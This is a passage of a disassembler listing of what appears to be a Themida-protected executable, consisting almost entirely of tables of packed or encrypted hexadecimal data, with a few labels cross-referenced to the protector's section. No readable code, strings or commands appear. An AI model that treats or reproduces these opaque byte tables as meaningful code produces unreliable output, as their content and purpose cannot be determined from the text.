		dd 4658524Ah, 9212B971h, 42A06E15h, 3383EC14h, 0FABE7FC1h
		dd 0D4E644F2h, 927D4EFFh, 0EAFC1AF4h, 0AF2C8E28h, 1442A0C8h
		dd 360B1D86h, 0F49205C6h, 0D0F0C91Ah, 6CA4FD98h, 0A0A65DDAh
		dd 0CB341442h, 90676072h, 481442A0h, 4E2C7B56h,	0C650038h
		dd 7A3132D4h, 6C86508Eh, 0B5ED01E0h, 0BAF20AE7h, 0C480FD1Fh
		dd 0D3908F8Ch, 6F4AE893h, 0E4791B53h, 0BE2BCFC7h, 895E70C9h
		dd 78561DAEh, 30921B62h, 42A0CCB3h, 0F218A14h, 12B9C049h
		dd 0A06E1592h, 83EC1442h, 5220923Ch, 82298B19h,	3A0B2D3Fh
		dd 14AEA977h, 7856810Bh, 7D4E1B62h, 19607A56h, 9E7A18AAh
		dd 9FB14C84h, 1AF492CAh, 1729C4FCh, 0B9091FFDh,	0F0283C1Bh
		dd 32599D4Eh, 0EF4860E4h, 18AA08DDh, 704FA07Ah,	3089245Ch
		dd 0F5D15DF8h, 0F608A3DBh, 61795621h, 657F5B29h, 9DC94C2Dh
		dd 0D3D9D8D5h, 7A56F193h, 7D4E1960h, 115F492h, 0C5BA37C9h
		dd 911442A0h, 0A3BDCF28h, 4E68AFC5h, 0DFFBD674h, 25FA0CA7h
		dd 19607A56h, 707721AAh, 48533FCAh, 633FDDE5h, 0E61E3C16h
		dd 0BE0F24Bh, 0CCB33092h, 8A1442A0h, 32720F21h,	607A5690h
		dd 0D6744E19h, 0B6CCAAFDh, 528AE37Eh, 56D0A5B7h, 0AE10607Ah
		dd 0A028CF4Ch, 3DA61442h, 42A02DD2h, 0DD39A914h, 0A3748ACh
		dd 875C6EC7h, 39B618AAh, 1442A042h, 0A9E1F7D5h,	4254BD0Eh
		dd 6179566Dh, 5621AA1Ah, 5A28607Ah, 0C72B637Fh,	0E1561A4Ah
		dd 271957C9h, 0F26CA5C0h, 92A4FD15h, 0E893D3BDh, 931AAE76h
		dd 7D8FF569h, 1AF492A8h, 7A9470FCh, 51724E68h, 1CB61F1Bh
		dd 0E82F881Fh, 51CE3092h, 1442A0AAh, 0AF54BF28h, 2B1442A0h
		dd 0BD8EB0C2h, 19607A56h, 93A618AAh, 90BAD82Bh,	0E8415B37h
		dd 707701D6h, 48533FCAh, 93D35E6Dh, 2D7A56F1h, 98DF3850h
		dd 0CCB33092h, 8A1442A0h, 0A2FB0FEEh, 22946E90h, 4E1372D6h
		dd 8D6274BDh, 165D7D56h, 0D87721AAh, 0B02547B1h, 165D7D56h
		dd 0F9D6744Eh, 92FACFE1h, 0E642BE30h, 6F9001B7h, 426F7F04h
		dd 0A8C6A014h, 1B84D570h, 0F616EF09h, 7721AAAFh, 1094A2D1h
		dd 92E6E5A9h, 0A0CCB330h, 218A1442h, 9032720Fh,	165D7D56h
		dd 7D567D4Eh, 0BE9B0D5Dh, 0A653EDDBh, 0AA461B2Dh, 0A05E7721h
		dd 0E52E189Bh, 0F193D3E6h, 165D7D56h, 7A567D4Eh, 30921960h
		dd 638BBEh, 7EE982E9h, 14421BF9h, 14DAEC55h, 5D7D568Bh
		dd 6D21AA16h, 0F193D35Eh, 10607A56h, 724C9372h,	28811C54h
		dd 2C4622F0h, 0EE0059F4h, 1AF49219h, 1729C4FCh,	7D5624F5h
		dd 2092165Dh, 0DE71CAEh, 0A7C9DBB6h, 607A56D6h,	9221AA19h
		dd 0C4FC1AF4h, 1FFD1729h, 21AAC209h, 93D30BC0h,	19F492F1h
		dd 9B924F6h, 69C26BB0h,	47613D57h, 0C67D4E00h, 17F49205h
		dd 1A2CC7FFh, 42A05A21h, 0E6E50214h, 4AE893D3h,	8A07576Bh
		dd 1442A0F5h, 11E6F861h, 79561DAEh, 0A7CEFA5Ah,	5DB63368h
		dd 9221AA16h, 42A06E15h, 5A83EC14h, 18F492B3h, 910EECFEh
		dd 1442A0EAh, 4EB8FF68h, 0B330927Dh, 1442A0CCh,	160F218Ah
		dd 1442A06Dh, 6A7956FBh, 42A016EDh, 25BC414h, 0B97D4EBBh
		dd 0BE309212h, 4BA7F632h, 8E879939h, 144239E9h,	21A2F565h
		dd 0AA0CA085h, 21AA0A51h, 46CEE177h, 0E6E5B92Bh, 51CE3092h
		dd 1442A0AAh, 0AF54BF28h, 2B1442A0h, 429BB18Fh,	87BFDBB6h
		dd 93DDAECh, 9212B95Bh,	8B73BE30h, 3D57A0E8h, 75104860h
		dd 6A110A1Ch, 0E814427Fh, 0B8912F7Fh, 0B3C56098h, 6E1592DEh
		dd 0EC1442A0h, 744E3C83h, 7D997412h, 42A06D12h,	6E80E914h
		dd 9212B999h, 42A06E15h, 3C83EC14h, 795621AAh, 21AA1A61h
		dd 93D35E6Dh, 9212B9F1h, 42A06E15h, 3383EC14h, 46F6CBC1h
		dd 8A9CDB10h, 6E1592B5h, 0EC1442A0h, 7D4E3C83h,	209205C6h
		dd 38620429h, 9570FCB8h, 896E6779h, 4614428Fh, 0A2B4CAA8h
		db 0CDh, 0E5h, 0E6h
byte_5FC39B	db 0D3h			; DATA XREF: Themida_:005854D4o
		dd 1DAEF193h, 0C7597A56h, 0BF0E72FAh, 925299F2h, 0BAC08120h
		dd 1123D4AFh, 9B9C24Bh,	6173916Bh, 18F4928Ch, 910EECFEh
		dd 1442A0EAh, 0F58A0769h, 611442A0h, 9E07E6F8h,	0B9D5B04Eh
		dd 0FFD4E681h, 0E1777D4Eh, 0B92B46CEh, 0FB1BF492h, 0FE1AF5C3h
		dd 0C0D22BC6h, 60B0CAA6h, 93CBE7C2h, 0A0FF8401h, 0F25B1442h
		dd 4EB28799h, 6E15927Dh, 0EC1442A0h, 92B35A83h,	42A06215h
		dd 3787F014h, 90A2BE99h, 5621AABBh, 9219607Ah, 0C7258E20h
		dd 0A6857D2Ah, 66BF5A92h, 8AFC8E54h, 6958F88h, 491E3011h
		dd 0F4925E6Dh, 0F79CFC1Ah, 83F4289Dh, 0D1953244h, 0A18B38AAh
		dd 102928F4h, 795629FEh, 1A972961h, 1442A065h, 0A32F88F1h
		dd 0DD84ADC7h, 89F32092h, 1BC4CA2Ch, 262512Ch, 43CF38CBh
		dd 7B164E66h, 650E8B69h, 0E91442C5h, 15923980h,	1442A06Eh
		dd 1E07BEDh, 6170C3CFh,	0AE00704Fh, 41EEA7C7h, 0F593E33Ch
		dd 2EC90117h, 799A61DEh, 0CF381442h, 7D4EE8BDh,	19607A56h
		dd 9B97D4Eh, 0C60C9F97h, 0F608627Ch, 5621AA21h,	9F116179h
		dd 0E903C5CCh, 8DDEFFFh, 5C67D4Eh, 42A08077h, 5E6D5814h
		dd 0AEF193D3h, 0AA12B91Dh, 6B09B921h, 0D1EF708Dh, 0F7EA67C8h
		dd 0B9CB669Eh, 7A18AAE4h, 5B77529Dh, 0B91BF002h, 7A18AA12h
		dd 7C4A82A0h, 1D2F889Eh, 63775648h, 0C67D4E1Ch,	0A0807705h
		dd 0DD4F1442h, 2C0A1383h, 9770B616h, 56F5CADCh,	58265E7Ch
		dd 0BC945A7Dh, 0FA9F7841h, 0BD9B69A1h, 0D8D46FA7h, 0A61B570Fh
		dd 0E893D397h, 0C48BDF76h, 53D0753Fh, 14425FACh, 5668C12Ah
		dd 0B214AE81h, 42A04E35h, 0D9F7D114h, 4CB506A1h, 7A56653Ah
		dd 21AA1960h, 7A5605C6h, 7D4E1960h, 6FBE3092h, 94EDE447h
		dd 35B54AB5h, 0B8211442h, 96B08CA6h, 7721AA4Fh,	1442A080h
		dd 0BDD3B14Fh, 556DD6ABh, 86BEDEB7h, 0D304D9EBh, 0F492F193h
		dd 0D3EDFF17h, 0EF8DDDF7h, 13E8FA12h, 7302744Eh, 3CDB7054h
		dd 92D4A9BBh, 0C4FC1AF4h, 54841722h, 68C12919h,	46603C56h
		dd 7721AAFFh, 1442A080h, 0E3556D58h, 53DA3D1Bh,	20F5079Bh
		dd 56F193D3h, 7210607Ah, 956A7C96h, 12B97D4Eh, 7A5621AAh
		dd 0A017EC69h, 7FB41442h, 0E00DE0E1h, 0BA137CCDh, 0D4F2CC6Ah
		dd 18AAEDC2h, 0A04239B6h, 0A7101442h, 12B9C095h, 0B9923092h
		dd 0B4C66199h, 42A0C8BBh, 0B8359714h, 1442A1C3h, 0ADDDB480h
		dd 0FC4DC7F3h, 336B8360h, 4E2D3F98h, 18F795E5h,	1F31CC04h
		dd 2744E4Ah, 0DBB9C8E8h, 92F28DC5h, 9F792188h, 8AC82881h
		dd 0A8321395h, 56714658h, 4E19607Ah, 0A214AE7Dh, 7AD17494h
		dd 0F010E9B5h, 0C6B08597h, 0A0807705h, 6D581442h, 0F193D35Eh
		dd 12B91DAEh, 0F49221AAh, 0D2ECFE18h, 4E96DDF5h, 5F7B567Dh
		dd 17F49218h, 1BF9C7FFh, 0D49AAC05h, 5605C64Bh,	710F5F7Bh
		dd 0A5407898h, 744EBE93h, 0A0EE9512h, 36C1442h,	7D561CF1h
		dd 21AA165Dh, 1A971D77h, 6D46E435h, 5787ED4Dh, 7533C15Ah
		dd 7D568E63h, 744E165Dh, 0D1E3F7D6h, 2A7D56FCh,	93DA334Fh
		dd 117721AAh, 0E9351A97h, 93D3E6E5h, 536F4AE8h,	7D566C41h
		dd 956F0D5Dh, 18A43F77h, 3A0F213Dh, 7B567D4Eh, 18AA185Fh
		dd 0A04239B6h, 74101442h, 13257E98h, 5D7D563Eh,	6D21AA16h
		dd 0E893D35Eh, 0EB501486h, 0B913D771h, 42F9A94Eh, 0D7631614h
		dd 0D192C188h, 30051780h, 512C7B56h, 4E95DC35h,	9212B97Dh
		dd 1BFCE220h, 13860257h, 0C7BF1F10h, 6D334534h,	2A7D56E4h
		dd 60FB334Fh, 87E0F6D4h, 927D4E40h, 0BB958220h,	9521B9ABh
		dd 0CE69A1B7h, 775112BCh, 1442A080h, 0D35E6D58h, 2092F193h
		dd 0FDAC8E73h, 81435563h, 5F7B56F0h, 7721AA18h,	1442A080h
		dd 0D35E6D58h, 0F492F193h, 0D0EAFC1Ah, 9292D9F5h, 0A0CCB330h
		dd 337B1442h, 7173222Dh, 0EBCA66B7h, 4A6C7ED7h,	5F7B5679h
		dd 0B921AA18h, 6E159212h, 0EC1442A0h, 21AA3C83h, 93D30BC0h
		dd 5F7B56F1h, 0D6744E18h, 976CE9FAh, 431442A0h,	9A6F81DAh
		dd 365F7B56h, 5621AA8Fh, 0AA185F7Bh, 0D30BC021h, 12B9F193h
		dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0C3FB1BF4h, 0C7FF19F5h
		dd 0A7C1D32Ch, 9269B0CCh, 0EBFD19F4h, 12B99C25h, 0A06E1592h
		dd 8CEC1442h, 0A0D6AD2Ah, 1B841442h, 42A0CBB0h,	0C51E8714h
		dd 0E0FCD775h, 26FB0DA8h, 795621AAh, 825B2961h,	24EB2A62h
		dd 500E3060h, 0A712F2DEh, 3EBB4B64h, 144241B9h,	4153AC15h
		dd 0F193D36Ch, 185F7B56h, 12B97D4Eh, 1DAE21AAh,	309212B9h
		dd 42A0CCB3h, 11EE8A14h, 0CD26C1F9h, 566CF5BBh,	4E1B6278h
		dd 5E7C567Dh, 5621AA17h, 0AA175E7Ch, 5605C621h,	0AC0E5E7Ch
		dd 42A0482Fh, 8B9D0614h, 567D4EB6h, 15EA677Ch, 0C11442A0h
		dd 4E62B351h, 6DC6682Ah, 21AACD14h, 817F492h, 42A0F48Bh
		dd 0A0F96214h, 0A0EE958Eh, 0B6D1442h, 42A0E98Eh, 70FC6514h
		dd 0A7427A94h, 5E6DC095h, 56F193D3h, 9C0E5E7Ch,	0F3770846h
		dd 0FACFE1A7h, 9512744Eh, 1442A0EEh, 1CF1036Ch,	175E7C56h
		dd 0FAA618AAh, 0FA973FAAh, 772E0315h, 1442A080h, 0DB9FDD4Fh
		dd 0F9314926h, 3FFEFE5Eh, 0E513E8FAh, 15643FDDh, 4DE82038h
		dd 0F21BCF4h, 0F193D33Ah, 175E7C56h, 12B97D4Eh,	0F49221AAh
		dd 0D3EDFF17h, 0AA94DBF9h, 839F7A18h, 12B99C71h, 0A0621592h
		dd 87F01442h, 567D4E40h, 92175E7Ch, 890619F4h, 1442A0F2h
		dd 669EF760h, 0F4BF6BCBh, 0CAD7AE8Eh, 0AEC596B8h, 879C7614h
		dd 42A0750Ah, 1F78E114h, 653A4CE7h, 598205C6h, 697B561Dh
		dd 9257FE27h, 42A06E15h, 3C83EC14h, 0F9D6744Eh,	0FC0EA9E1h
		dd 0AA12B927h, 0A0807721h, 6D581442h, 0F193D35Eh, 159212B9h
		dd 1442A06Eh, 4E3C83ECh, 2B7C567Dh, 0CFAC384Ch,	4E175EB7h
		dd 0DAF9D674h, 44E8283Bh, 0A9BB14AAh, 5E7C56D4h, 7721AA17h
		dd 1442A080h, 0B7556D58h, 0F18CC4D8h, 5F718765h, 0E893D38Ah
		dd 0DF5C6F4Ah, 1442A018h, 0E2F44DB6h, 5E7C560Dh, 0B3309217h
		dd 1442A0CCh, 0ED0F218Ah, 0CE30921Ch, 42A0AA51h, 54BF2814h
		dd 1442A0AFh, 5836C22Bh, 5D6F0A42h, 44B6943h, 807721AAh
		dd 581442A0h, 76F3556Dh, 1442A081h, 0FDD2E44Dh,	92F193D3h
		dd 0A0CCB330h, 1A8A1442h, 0ECE6C1B9h, 4D5FB84Bh, 33345933h
		dd 0F64794A0h, 4ECF166Fh, 2B7C567Dh, 60FB3351h,	21AAC007h
		dd 159212B9h, 1442A06Eh, 923C83ECh, 0A0CCB330h,	218A1442h
		dd 0B9C0490Fh, 15F49212h, 1C2EC901h, 4C26C456h,	0A0C5BA37h
		dd 28911442h, 56E8BDCFh, 15EA677Ch, 0C11442A0h,	92B8FF58h
		dd 0EE0016F4h, 0FCC6FBCCh, 19647F5Eh, 8357DA70h, 0DF7AB20Bh
		dd 8077F8CDh, 581442A0h, 20925E6Dh, 96A8EE6Fh, 37D4E6D1h
		dd 6DEA4C0Fh, 1442BF96h, 744FDB44h, 0AE714658h,	6179561Dh
		dd 0E9168838h, 0EB120EF9h, 92471C2Eh, 6256BE30h, 0D8E642CBh
		dd 0BE36CDC6h, 34A41442h, 0ACF9B6Eh, 0FF4FA865h, 255B209Dh
		dd 8EF71442h, 7D4EA77Ch, 20921DAEh, 71A4766Bh, 8BA7B959h
		dd 637756AEh, 6503CD2Bh, 46607286h, 0CABF5367h,	0EBBD5FCEh
		dd 1512182h, 2D661314h,	21DA1442h, 0A514C5D1h, 0C1DBB755h
		dd 0C5DFBB89h, 8799F28Dh, 1D3512A2h, 7E967389h,	7803E846h
		dd 9B14C5D1h, 4C33B0BDh, 0A14C5D1h, 0D6EF48A1h,	0D1C2553Ah
		dd 0DCE414C5h, 246E576Ah, 0C8DA0892h, 0A75C7B2Bh, 1486C4AAh
		dd 1705h, 20929400h, 0F875D72Ch, 1442F103h, 990666CFh
		dd 4019A5B1h, 0DC2B0E20h
		dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
		dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 6E1C68EEh
		dd 0BCE907EBh, 0E9FFF8D6h, 0E00EAD2Bh, 3BE9h, 0BD8B6000h
		dd 7E40E39h, 3304EF83h,	0BBC18BC9h, 0EDB88320h,	0BE04C783h
		dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h
		dd 100h, 0FFD3820Fh, 0C361FFFFh, 7E8C88Bh, 0FE000000h
		dd 0B65D50FAh, 0BF669B27h, 8159486Ah, 631FC1h, 0CF816600h
		dd 0DB33B5E8h, 10E950h,	15A00000h, 28B3EB1Ah, 53CEF88Ch
		dd 96C8FFF8h, 8B5F23E8h, 0BD8B1904h, 7E41429h, 94CEE881h
		dd 958B625Bh, 7E40D31h,	7F9CF081h, 958B5615h, 7E4241Dh
		dd 119CC081h, 958B25DAh, 7E426C5h, 0FE96050h, 29000000h
		dd 44755BCh, 44DDE7E2h,	83AF72DBh, 958BC2B9h, 7E424BDh
		dd 19048F61h, 0BE8h, 54A05400h,	1D6F941Ah, 5F24E592h, 14E8h
		dd 8BE8CE00h, 0BF12FC17h, 4FBCBB4Ah, 207635C0h,	4650FD94h
		dd 8F0FC7h, 5F000000h, 759D895Ah, 8307E416h, 8B5202EBh
		dd 0E424F9BDh, 4B4B5F07h, 0FB815FB2h, 0FFFF9DB0h, 0FF61850Fh
		dd 0BA66FFFFh, 8D8D7624h, 7EBA980h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0FCC35545h,	0DC5D8691h, 8D014A9Ch
		dd 7E42039h, 909B529h, 8D8907E4h, 7E41B71h, 0A185C7FCh
		dd 0F407E42Dh, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0DA9FC355h,	0BF0F9B33h
		dd 7E8C3h, 25D10000h, 70779CD7h, 59958B2Ch, 5F07E42Dh
		dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 35CAE3C3h, 8EEFD8E8h
		dd 165DBD8Bh, 0BE6607E4h, 0B5FF4A09h, 7E422FDh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B3C35242h, 0C94AE5E0h
		dd 0E81C27A1h, 10h, 8831CDE0h, 0AA2F1A91h, 3EB682D6h, 16BEEFC8h
		dd 1F9D8589h, 0E95A07E4h, 14h, 0C83F7E6Fh, 0AF300156h
		dd 8B6B78D1h, 28BB66A8h, 0AE7B23A4h, 306195FFh,	0BD0107E4h
		dd 7E43001h, 95FF006Ah
		db 41h,	0Eh, 0E4h
byte_5FCE0B	db 7			; DATA XREF: Themida_:005844C4o
		dd 0EEBC08Bh, 0B5D754DBh, 7E334F45h, 4537861Bh,	0CAFE8AC9h
		dd 0A80E6D0Ch, 8A4AE5E3h, 0A80E724Bh, 75EAD5ABh, 0A80E7223h
		dd 8A4AFAE9h, 57AE5DBAh, 8A4AFB46h, 0A80E7313h,	75EAD5ABh
		dd 0A80E73DAh, 8A4AFBB4h, 0A80E7064h, 8A4AF836h, 0A80E70DEh
		dd 75EAD5ABh, 16D42F25h, 312C1FEh, 43F837C0h, 0A690A753h
		dd 215649EEh, 61BCB3D1h, 2BD42F42h, 312C1FFh, 43F83FC0h
		dd 5190A753h, 215649EEh, 61BC8FD1h, 9AD42F42h, 312C1F8h
		dd 43F80BC0h, 0D90A753h, 215649E9h, 61BC9BD1h, 63D42F42h
		dd 312C1F8h, 43F817C0h,	9E90A753h, 215649E8h, 61BC97D1h
		dd 0FDD42F42h, 312C1F9h, 43F863C0h, 1C90A753h, 215649E8h
		dd 61BCEFD1h, 7FD42F42h, 312C1F9h, 43F86BC0h, 9A90A753h
		dd 215649EBh, 61BCE7D1h, 12B8C342h, 0DF152A50h,	6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 206DC0D5h, 0ED96A5AEh, 8A152AA8h
		dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h
		dd 75EAD5BAh, 3AAE63CEh, 8DF106A9h, 0AB534284h,	0FFEA2211h
		dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h
		dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h
		dd 351A241h, 27BFEA66h,	0DDDB2FEEh, 7512C136h, 2011294h
		dd 0E860A0D9h, 79AEA5AEh, 0AE51A1ECh, 22DC0941h, 8DFE4821h
		dd 103773BAh, 21732ADFh, 0CA2428C8h, 5BEA2DBFh,	8C152BFDh
		dd 988150h, 0AFBAC030h,	0D2A5FBABh, 0A42C89EFh,	0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h,	0F251A245h
		dd 212DC0D5h, 0DDDAA5AEh, 8668A15Ch, 0A8ADE782h, 0CC152A54h
		dd 8FCC30BAh, 529E2DB0h, 83FC69CEh, 0E2A5B997h,	0F9FA31EFh
		dd 0E860A0D9h, 79AEA5AEh, 20949A0Dh, 8C551A23h,	21848132h
		dd 215DDF6Eh, 174D629h,	6A985E00h, 1402A5Ch, 549521A9h
		dd 8A15C234h, 290BA245h, 61BEA5BEh, 0A0242942h,	4D1957DFh
		dd 0A8515E00h, 75532A54h, 4C763FD7h, 19CDA153h,	9BFC69CEh
		dd 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h, 79AEA5AEh, 20949A0Dh
		dd 8C651A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8260A134h, 6F5DDFCEh, 8A15D611h
		dd 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h
		dd 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h,	86902586h
		dd 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h,	0D5D8AE38h
		dd 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh
		dd 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h,	22FD6276h
		dd 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh
		dd 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh
		dd 319577Fh, 23305E38h,	48DCD611h, 2304A24Dh, 76D1A9B8h
		dd 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h,	0A7B2229Dh
		dd 85E1D4h, 22DC0886h, 8DFE4821h, 0F8E173BAh, 0FF9FA7FEh
		dd 57564927h, 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8260A134h, 6F5DDFCEh, 8A15D611h
		dd 0AFE9A245h, 75152A54h, 4C7D5FD7h, 20452653h,	0CA2428C8h
		dd 5BEA2DBFh, 9BFB2BF5h, 85318694h, 0AC59622Eh,	0AEA58050h
		dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h,	1787D5FEh
		dd 23564662h, 4917868Ch, 0DDDB2FEFh, 7512C136h,	28E9C494h
		dd 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh
		dd 2BBD2910h, 175D690h,	0D5DAAA30h, 7650ED58h, 0A851A245h
		dd 18EA80F8h, 0AFB585D8h, 58B9E2DFh, 32DC0885h,	8DFE4821h
		dd 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h,	0EDDAC3B9h
		dd 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh,	0CFD22629h
		dd 0A851A2B9h, 75BF8654h, 4C763FD7h, 26DDA153h,	25FB6377h
		dd 61775FCEh, 0CE825D42h, 0ECE4AAECh, 29028EEh,	319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h, 0E860B0D9h
		dd 7BAEA5AEh, 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh
		dd 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch
		dd 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 0FF8FA7FFh, 57564927h
		dd 20A09A87h, 25FB0E03h, 61775FCEh, 0CE825D42h,	0ECD8ACECh
		dd 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 2475C0D5h, 0ED96A5AEh, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 61BCBFCEh, 32DCF142h, 8DFE8038h
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 1F438C8h
		dd 7462DBFh, 43FBCEDFh,	3C6D553h, 92B85E00h, 75152A54h
		dd 0DDAEAE30h, 3B8FA75Ch, 0FB5649ECh, 2079B0D9h, 7BAEA5AEh
		dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h,	8DFE83E9h
		dd 0C4CB2F16h, 7512C1FEh, 54142B96h, 8A152ABDh,	0EDDAC345h
		dd 82D7E3A8h, 3044BA45h, 9D8D0000h, 7E40F49h, 2490B8h
		dd 0F5858900h, 0E807E400h, 0
		dd 0D0558h, 3890000h, 2490E9h
		db 0
byte_5FD3D9	db 3 dup(0)		; DATA XREF: Themida_:005833D4o
		dd 921h	dup(0)
		db 0
byte_5FF861	db 3 dup(0)		; DATA XREF: Themida_:00583D74o
		dd 0
		dd 3D0CEB00h, 1C106C7Fh, 17575FEDh, 0E90A3DDDh,	5B0h, 5A4E9h
		dd 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh,	0D1EDC8DEh
		dd 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h, 0A85BEF07h
		dd 73847BF8h, 0D5213A9h, 6179567Eh, 677D5B29h, 6987612Fh
		dd 6C886331h, 0C340A234h, 1442A03Ch, 20F42A9Ah,	4813C641h
		dd 0E8C3DDEFh, 0E7C694CCh, 0F19660CCh, 86DF9BFDh, 8AA4804Eh
		dd 8BAB8452h, 9B137C53h, 39CDCE4Bh, 188113A9h, 354D2AC8h
		dd 0B38F5D23h, 13EF0599h, 4914C1F9h, 38042EE6h,	0B8948BBBh
		dd 0A4EB0A9Eh, 0A63DBA0Ah, 0F40CC50Bh, 23C1538Bh, 5CF72F45h
		dd 0C8DAF4D0h, 26BAD0AEh, 0FCD7DA4Ch, 435A3B84h, 23391731h
		dd 99283EEBh, 58D563A9h, 3D53312Ch, 0A2058AA9h,	0C0B59278h
		dd 81D12AECh, 0DCDDA21Fh, 10796C4Eh, 0E1A320FEh, 0AF6BAAC1h
		dd 0C61F3513h, 3A1EE18Eh, 9CAD6BB2h, 774BB4E8h,	78C606Bh
		dd 0B5000000h, 3B89Eh, 0F4922D00h, 0D1EBFD19h, 0D7A5DDF3h
		dd 0C95CDAFBh, 953F709h, 0F4473CB9h, 0AA131442h, 0D2DA1951h
		dd 0DD3D5934h, 5051529Eh, 43E0F2A2h, 283E1C03h,	455D3AD8h
		dd 3E60720Dh, 0FC344A28h, 0A83261Dh, 0EF05E35Ah, 4F69455Bh
		dd 4F6A4917h, 0C1B7A120h, 86D62F3Eh, 0BBF30BE8h, 91480E20h
		dd 0B7938ABAh, 0BD2F099Dh, 1599EB26h, 0E7D94096h, 0ABE0F959h
		dd 0F4C7C0D2h, 1F72D40Dh, 7E942844h, 804E86A4h,	5E7A55A6h
		dd 0FA328B26h, 5D3AD896h, 0EE963345h, 6B44956Fh, 1F78134Bh
		dd 81875DCFh, 27B1B33Ah, 0E025F315h, 0B4000000h, 3169454Dh
		dd 0EC678663h, 2704B3DDh, 5FC1116Ah, 42F41DE2h,	3E50B914h
		dd 102A061Ch, 0F4542BD8h, 0C6DE1442h, 15EE7454h, 6CE995B6h
		dd 14429297h, 6F81DA43h, 0CFAB92D2h, 310B21B5h,	300DDB13h
		dd 0FF7CE018h, 0E0FED847h, 3E5C364Ch, 74127406h, 0A8437B9Bh
		dd 4292463Dh, 9D781414h, 0E3C82881h, 40B36C27h,	845F798Bh
		dd 0DCA61868h, 5231217Eh, 0E49B6173h, 0B022590Dh, 3EA49D4Bh
		dd 5A748676h, 0F4CE6280h, 4E607A56h, 53D5934h, 45232826h
		dd 4B29F72Fh, 0F7BEFD35h, 30D4034Fh, 63AA51CEh,	0AC291442h
		dd 144263D7h, 60C91A83h, 8AF5B14Eh, 6A8460AFh, 89677D11h
		dd 9688C56Ch, 0B30CCCE0h, 6E4BE97Bh, 0B14B4456h, 501442FCh
		dd 31121C8Eh, 0E6EE6043h, 4F61815Ah, 0AD8BF2B2h, 56320397h
		dd 4875B78h, 0E3487736h, 0BF9C3A8Ah, 0C2D46FA7h, 3A502EFCh
		dd 3B5B3402h, 42563503h, 4004CB0Ah, 1B4B1410h, 9C304624h
		dd 426509A7h, 0FC024F14h, 0DBE05B57h, 0FFFFFEE8h, 6C424D04h
		dd 0B9F59F1Ch, 0FF9B13A6h, 36D10923h, 0FAD7A5DDh, 7B2092E2h
		dd 0F4CEB444h, 0EC022436h, 0F1BFF70Fh, 4CAEFE12h, 0A6F628CFh
		dd 2B3DA613h, 0C0840165h, 5835805Dh, 3D53E740h,	63104860h
		dd 13A6F699h, 0D883C38Ch, 340E613Ah, 91ABBD16h,	768A69B4h
		dd 11AF891Dh, 4AE51D33h, 0B4C6E4BEh, 6DA5BD9Ah,	65B5F996h
		dd 0F6F18603h, 482213A6h, 633DD92Ah, 19720D45h,	55C72907h
		dd 7466ACC3h, 352E40E2h, 1442BE73h, 6A44D841h, 88D8EECCh
		dd 8A80740Bh, 6779E21Bh, 13634B44h, 61530D96h, 0D5B4521Ch
		dd 0FF471C1h, 0CB03F154h, 11715062h, 0F154EF94h, 0F6CF6B03h
		dd 0AA039ED6h, 6D4B1951h, 0D52E4824h, 44D2B41h,	0E7FDDB28h
		dd 50FD358Eh, 14710F8Dh, 0AB92D299h, 89FEB0CDh,	22287B57h
		dd 0E5CCB1Fh, 0E16DC68Eh, 4494ED03h, 367AC5D2h,	0D2E14159h
